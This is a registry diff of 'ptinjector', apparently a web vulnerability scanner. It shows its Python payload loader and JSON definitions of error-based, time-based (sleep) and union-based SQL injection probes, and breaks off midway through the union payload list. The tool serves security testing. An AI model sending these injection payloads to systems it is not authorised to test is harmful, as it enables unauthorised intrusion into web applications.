ptinjector 0.0.1__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- ptinjector/__init__.py +0 -0
- ptinjector/_version.py +1 -0
- ptinjector/definitions/__init__.py +0 -0
- ptinjector/definitions/__pycache__/__init__.cpython-311.pyc +0 -0
- ptinjector/definitions/__pycache__/_loader.cpython-311.pyc +0 -0
- ptinjector/definitions/_loader.py +169 -0
- ptinjector/definitions/_template.json +12 -0
- ptinjector/definitions/sqli_error.json +20 -0
- ptinjector/definitions/sqli_time.json +20 -0
- ptinjector/definitions/sqli_union.json +90 -0
- ptinjector/definitions/ssrf.json +20 -0
- ptinjector/definitions/xss.json +83 -0
- ptinjector/helpers/__init__.py +0 -0
- ptinjector/helpers/request_file_parser.py +141 -0
- ptinjector/ptinjector.py +495 -0
- ptinjector/server/__init__.py +0 -0
- ptinjector/server/app.py +82 -0
- ptinjector/server/config.py +49 -0
- ptinjector-0.0.1.dist-info/LICENSE +674 -0
- ptinjector-0.0.1.dist-info/METADATA +119 -0
- ptinjector-0.0.1.dist-info/RECORD +24 -0
- ptinjector-0.0.1.dist-info/WHEEL +5 -0
- ptinjector-0.0.1.dist-info/entry_points.txt +2 -0
- ptinjector-0.0.1.dist-info/top_level.txt +1 -0
ptinjector/__init__.py
ADDED
|
File without changes
|
ptinjector/_version.py
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
__version__ = "0.0.1"
|
|
File without changes
|
|
Binary file
|
|
Binary file
|
|
@@ -0,0 +1,169 @@
|
|
|
1
|
+
import re
|
|
2
|
+
import os
|
|
3
|
+
import json
|
|
4
|
+
|
|
5
|
+
from ptlibs import ptprinthelper
|
|
6
|
+
|
|
7
|
+
from typing import Optional, List
|
|
8
|
+
|
|
9
|
+
class DefinitionsLoader:
|
|
10
|
+
def __init__(self, use_json: bool = False, random_string: str = None, verification_url: str = None, technologies: list = []):
|
|
11
|
+
self.use_json = use_json
|
|
12
|
+
self.RANDOM_CODE: str = random_string
|
|
13
|
+
self.verification_url: str = verification_url
|
|
14
|
+
self.technologies: list = [technology.lower() for technology in technologies if technologies]
|
|
15
|
+
self.folder_path: str = os.path.dirname(__file__)
|
|
16
|
+
self.available_definition_files: list = [f for f in sorted(os.listdir(self.folder_path)) if (os.path.join(self.folder_path, f) and (not f.startswith("_") and f.endswith(".json")))]
|
|
17
|
+
|
|
18
|
+
def load_definitions(self, specified_tests: Optional[List[str]]) -> dict:
|
|
19
|
+
"""
|
|
20
|
+
Load and validate JSON definitions from available files.
|
|
21
|
+
|
|
22
|
+
This method reads through the available definition files, validates their
|
|
23
|
+
structure and values, replaces any placeholders within the contents, and
|
|
24
|
+
loads the valid definitions into a dictionary. If no valid definitions are
|
|
25
|
+
found, an exception is raised.
|
|
26
|
+
|
|
27
|
+
Args:
|
|
28
|
+
specified_tests (Optional[List[str]], optional): A list of specific tests to load.
|
|
29
|
+
If None, all available tests will be loaded.
|
|
30
|
+
Defaults to None.
|
|
31
|
+
|
|
32
|
+
Returns:
|
|
33
|
+
dict: A dictionary containing the loaded and validated definitions.
|
|
34
|
+
|
|
35
|
+
Raises:
|
|
36
|
+
Exception: If no valid definitions are available.
|
|
37
|
+
"""
|
|
38
|
+
|
|
39
|
+
loaded_definitions: dict = {}
|
|
40
|
+
skipped_tests: list = []
|
|
41
|
+
for definition_filename in self.available_definition_files:
|
|
42
|
+
definition_name: str = definition_filename .split(".json")[0]
|
|
43
|
+
|
|
44
|
+
# Determine if the current definition should be processed
|
|
45
|
+
if specified_tests is None or definition_name in specified_tests or self.matches_specified_test(definition_name, specified_tests):
|
|
46
|
+
definition_contents = self._read_definition_file(definition_filename)
|
|
47
|
+
if self.validate_json_structure_and_values(definition_contents, definition_filename):
|
|
48
|
+
# Replace placeholders and add to loaded definitions
|
|
49
|
+
definition_contents = self.process_payloads_and_replace_placeholders(definition_contents)
|
|
50
|
+
if definition_contents["payloads"]:
|
|
51
|
+
loaded_definitions.update({definition_name : definition_contents})
|
|
52
|
+
else:
|
|
53
|
+
skipped_tests.append(definition_filename.split(".json")[0].replace("_", " ").upper())
|
|
54
|
+
|
|
55
|
+
if skipped_tests:
|
|
56
|
+
ptprinthelper.ptprint(f"Skipped tests: {', '.join(skipped_tests)} - definitions do not contain any valid payloads.", "WARNING", condition=not self.use_json)
|
|
57
|
+
|
|
58
|
+
if loaded_definitions:
|
|
59
|
+
ptprinthelper.ptprint(f" ", "TEXT", condition=not self.use_json)
|
|
60
|
+
return loaded_definitions
|
|
61
|
+
else:
|
|
62
|
+
raise Exception("No definitions were loaded")
|
|
63
|
+
|
|
64
|
+
def matches_specified_test(self, definition_filename: str, specified_tests: list):
|
|
65
|
+
"""Returns True if <definition_filename> matches any of the <specified_tests>"""
|
|
66
|
+
return True if [test for test in specified_tests if definition_filename.startswith(f'{test}_')] else False
|
|
67
|
+
|
|
68
|
+
def _read_definition_file(self, definition_filename: str, ) -> dict|None:
|
|
69
|
+
try:
|
|
70
|
+
file_path: str = os.path.join(self.folder_path, definition_filename )
|
|
71
|
+
with open(file_path, 'r') as file:
|
|
72
|
+
return json.load(file)
|
|
73
|
+
except json.JSONDecodeError:
|
|
74
|
+
pass #print(f"Error decoding JSON in '{definition_file}'. Check the file structure.")
|
|
75
|
+
return None
|
|
76
|
+
|
|
77
|
+
def validate_json_structure_and_values(self, json_data: dict, definition_filename) -> bool:
|
|
78
|
+
"""
|
|
79
|
+
Validates the structure of the provided JSON data.
|
|
80
|
+
|
|
81
|
+
This function checks if the provided JSON data has the required keys
|
|
82
|
+
("description" and "payloads") and that these keys contain values of the
|
|
83
|
+
correct type.
|
|
84
|
+
|
|
85
|
+
Args:
|
|
86
|
+
json_data (dict): The JSON data to validate.
|
|
87
|
+
definition_filename (str): Filename of loaded json_data
|
|
88
|
+
|
|
89
|
+
|
|
90
|
+
Returns:
|
|
91
|
+
bool: True if the JSON data is valid, False otherwise.
|
|
92
|
+
"""
|
|
93
|
+
required_top_level_keys = ["description", "payloads"]
|
|
94
|
+
# Check top-level keys and their types
|
|
95
|
+
if not json_data or not all(key in json_data for key in required_top_level_keys) or not isinstance(json_data["description"], str) or not isinstance(json_data["payloads"], list):
|
|
96
|
+
ptprinthelper.ptprint(f"Warning: File {definition_filename} is not of a valid structure. Please ensure that the file follows the correct structure and contains valid values.", "WARNING", condition=not self.use_json)
|
|
97
|
+
return False
|
|
98
|
+
else:
|
|
99
|
+
return True
|
|
100
|
+
|
|
101
|
+
|
|
102
|
+
def process_payloads_and_replace_placeholders (self, json_data: dict):
|
|
103
|
+
"""Replaces found placeholders inside definition files. Also converts any int to str."""
|
|
104
|
+
def replace_with_slice(match):
|
|
105
|
+
# Extract the number from the match
|
|
106
|
+
if match.group().upper() == "[URL]":
|
|
107
|
+
if self.verification_url:
|
|
108
|
+
return self.verification_url + f"/save/{self.RANDOM_CODE}"
|
|
109
|
+
else:
|
|
110
|
+
return "[URL]"
|
|
111
|
+
else:
|
|
112
|
+
num = int(match.group(1)) # Convert captured group to integer
|
|
113
|
+
# Return my_string sliced to the length of num
|
|
114
|
+
return self.RANDOM_CODE[:num]
|
|
115
|
+
|
|
116
|
+
# Matches [RANDOM_(digits)] or [URL|url]
|
|
117
|
+
placeholders_re_pattern = re.compile(r"\[RANDOM_(\d+)\]|\[(URL|url)\]", re.VERBOSE)
|
|
118
|
+
required_payload_keys = ["payload", "verify", "type"]
|
|
119
|
+
invalid_payloads = []
|
|
120
|
+
|
|
121
|
+
for payload_index, payload_object in reversed(list(enumerate(json_data["payloads"]))):
|
|
122
|
+
# Check each item in "payloads" for required keys and non-empty values before processing.
|
|
123
|
+
if not all(key in payload_object and payload_object.get(key) for key in required_payload_keys) and not all(payload_object.get(key) for key in required_payload_keys):
|
|
124
|
+
invalid_payloads.append(payload_object)
|
|
125
|
+
json_data["payloads"].pop(payload_index)
|
|
126
|
+
continue
|
|
127
|
+
|
|
128
|
+
# Convert payload and verify keys to lists if they are strings
|
|
129
|
+
payload_object["payload"] = [payload_object["payload"]] if isinstance(payload_object["payload"], str) else payload_object["payload"]
|
|
130
|
+
payload_object["verify"] = [payload_object["verify"]] if isinstance(payload_object["verify"], (str, int)) else payload_object["verify"]
|
|
131
|
+
|
|
132
|
+
# Convert verify values to strings
|
|
133
|
+
payload_object["verify"] = [str(value) for value in payload_object["verify"]]
|
|
134
|
+
|
|
135
|
+
# Check if payload should be skipped based on technology
|
|
136
|
+
if self.technologies:
|
|
137
|
+
if payload_object.get("technology") and payload_object["technology"].lower() not in self.technologies:
|
|
138
|
+
#print(f"Skipping payload due to unmatched technology: {payload_object}")
|
|
139
|
+
json_data["payloads"].pop(payload_index)
|
|
140
|
+
continue
|
|
141
|
+
|
|
142
|
+
# Check if payload should be skipped based on verification URL
|
|
143
|
+
if not self.verification_url and payload_object["type"].lower() == "request":
|
|
144
|
+
#print(f"Skipping payload due to missing verification URL: {payload_object}")
|
|
145
|
+
json_data["payloads"].pop(payload_index)
|
|
146
|
+
continue
|
|
147
|
+
|
|
148
|
+
# REPLACE PLACEHOLDERS
|
|
149
|
+
payload_object["verify"] = [re.sub(placeholders_re_pattern, replace_with_slice, text) for text in payload_object["verify"]]
|
|
150
|
+
payload_object["payload"] = [re.sub(placeholders_re_pattern, replace_with_slice, payload) for payload in payload_object["payload"]]
|
|
151
|
+
|
|
152
|
+
|
|
153
|
+
if invalid_payloads and json_data["payloads"]:
|
|
154
|
+
ptprinthelper.ptprint(f"Found invalid payloads, they will be skipped.", "WARNING", condition=not self.use_json)
|
|
155
|
+
|
|
156
|
+
return json_data
|
|
157
|
+
|
|
158
|
+
def get_definitions_help(self):
|
|
159
|
+
"""Builds and returns help rows"""
|
|
160
|
+
help_rows = []
|
|
161
|
+
for file_name in self.available_definition_files:
|
|
162
|
+
try:
|
|
163
|
+
row = ["", "", f' {file_name.rsplit(".json")[0].split()[0]}', f' Test for {self._read_definition_file(file_name).get("description")}']
|
|
164
|
+
except:
|
|
165
|
+
row = ["", "", f' {file_name.rsplit(".json")[0].split()[0]}', f' Test for {file_name.rsplit(".json")[0].split()[0]}']
|
|
166
|
+
finally:
|
|
167
|
+
help_rows.append(row)
|
|
168
|
+
|
|
169
|
+
return sorted(help_rows, key=lambda x: x[2])
|
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "Error-based SQL Injection",
|
|
3
|
+
"vulnerability": "PTV-WEB-SANIT-SQLINJ",
|
|
4
|
+
"payloads": [
|
|
5
|
+
{
|
|
6
|
+
"payload": [
|
|
7
|
+
"'",
|
|
8
|
+
"\"",
|
|
9
|
+
"\\",
|
|
10
|
+
"foo"
|
|
11
|
+
],
|
|
12
|
+
"verify": [
|
|
13
|
+
"You have an error in your SQL syntax;",
|
|
14
|
+
"Unknown column",
|
|
15
|
+
"mysqli_fetch_array() expects parameter"
|
|
16
|
+
],
|
|
17
|
+
"type": "regex"
|
|
18
|
+
}
|
|
19
|
+
]
|
|
20
|
+
}
|
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "Time-based SQL Injection",
|
|
3
|
+
"vulnerability": "PTV-WEB-SANIT-SQLINJ",
|
|
4
|
+
"payloads": [
|
|
5
|
+
{
|
|
6
|
+
"payload": "' OR sleep(3) OR 'a'='",
|
|
7
|
+
"verify": [
|
|
8
|
+
3
|
|
9
|
+
],
|
|
10
|
+
"type": "time"
|
|
11
|
+
},
|
|
12
|
+
{
|
|
13
|
+
"payload": "' AND sleep(0.2) OR 'a'='",
|
|
14
|
+
"verify": [
|
|
15
|
+
3
|
|
16
|
+
],
|
|
17
|
+
"type": "time"
|
|
18
|
+
}
|
|
19
|
+
]
|
|
20
|
+
}
|
|
@@ -0,0 +1,90 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "Union-based SQL Injection",
|
|
3
|
+
"vulnerability": "PTV-WEB-SANIT-SQLINJ",
|
|
4
|
+
"payloads": [
|
|
5
|
+
{
|
|
6
|
+
"payload": [
|
|
7
|
+
"-1 UNION ALL SELECT [RANDOM_5]*10--+",
|
|
8
|
+
"-1 UNION ALL SELECT [RANDOM_5]*10,[RANDOM_5]*10--+",
|
|
9
|
+
"-1 UNION ALL SELECT [RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10--+",
|
|
10
|
+
"-1 UNION ALL SELECT [RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10--+",
|
|
11
|
+
"-1 UNION ALL SELECT [RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10--+",
|
|
12
|
+
"-1 UNION ALL SELECT [RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10--+",
|
|
13
|
+
"-1 UNION ALL SELECT [RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10--+",
|
|
14
|
+
"-1 UNION ALL SELECT [RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10--+",
|
|
15
|
+
"-1 UNION ALL SELECT [RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10--+",
|
|
16
|
+
"-1 UNION ALL SELECT [RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10--+",
|
|
17
|
+
"-1 UNION ALL SELECT [RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10--+",
|
|
18
|
+
"-1 UNION ALL SELECT [RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10--+",
|
|
19
|
+
"-1 UNION ALL SELECT [RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10--+",
|
|
20
|
+
"-1 UNION ALL SELECT [RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10--+",
|
|
21
|
+
"-1 UNION ALL SELECT [RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10--+",
|
|
22
|
+
"-1 UNION ALL SELECT [RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10--+",
|
|
23
|
+
"-1 UNION ALL SELECT [RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10--+",
|
|
24
|
+
"-1 UNION ALL SELECT [RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10--+",
|
|
25
|
+
"-1 UNION ALL SELECT [RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10--+",
|
|
26
|
+
"-1 UNION ALL SELECT [RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10--+"
|
|
27
|
+
],
|
|
28
|
+
"verify": [
|
|
29
|
+
"[RANDOM_5]0"
|
|
30
|
+
],
|
|
31
|
+
"type": "REGEX"
|
|
32
|
+
},
|
|
33
|
+
{
|
|
34
|
+
"payload": [
|
|
35
|
+
"' UNION ALL SELECT CONCAT('[RANDOM_3]','[RANDOM_3]')--+",
|
|
36
|
+
"' UNION ALL SELECT CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]')--+",
|
|
37
|
+
"' UNION ALL SELECT CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]')--+",
|
|
38
|
+
"' UNION ALL SELECT CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]')--+",
|
|
39
|
+
"' UNION ALL SELECT CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]')--+",
|
|
40
|
+
"' UNION ALL SELECT CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]')--+",
|
|
41
|
+
"' UNION ALL SELECT CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]')--+",
|
|
42
|
+
"' UNION ALL SELECT CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]')--+",
|
|
43
|
+
"' UNION ALL SELECT CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]')--+",
|
|
44
|
+
"' UNION ALL SELECT CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]')--+",
|
|
45
|
+
"' UNION ALL SELECT CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]')--+",
|
|
46
|
+
"' UNION ALL SELECT CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]')--+",
|
|
47
|
+
"' UNION ALL SELECT CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]')--+",
|
|
48
|
+
"' UNION ALL SELECT CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]')--+",
|
|
49
|
+
"' UNION ALL SELECT CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]')--+",
|
|
50
|
+
"' UNION ALL SELECT CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]')--+",
|
|
51
|
+
"' UNION ALL SELECT CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]')--+",
|
|
52
|
+
"' UNION ALL SELECT CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]')--+",
|
|
53
|
+
"' UNION ALL SELECT CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]')--+",
|
|
54
|
+
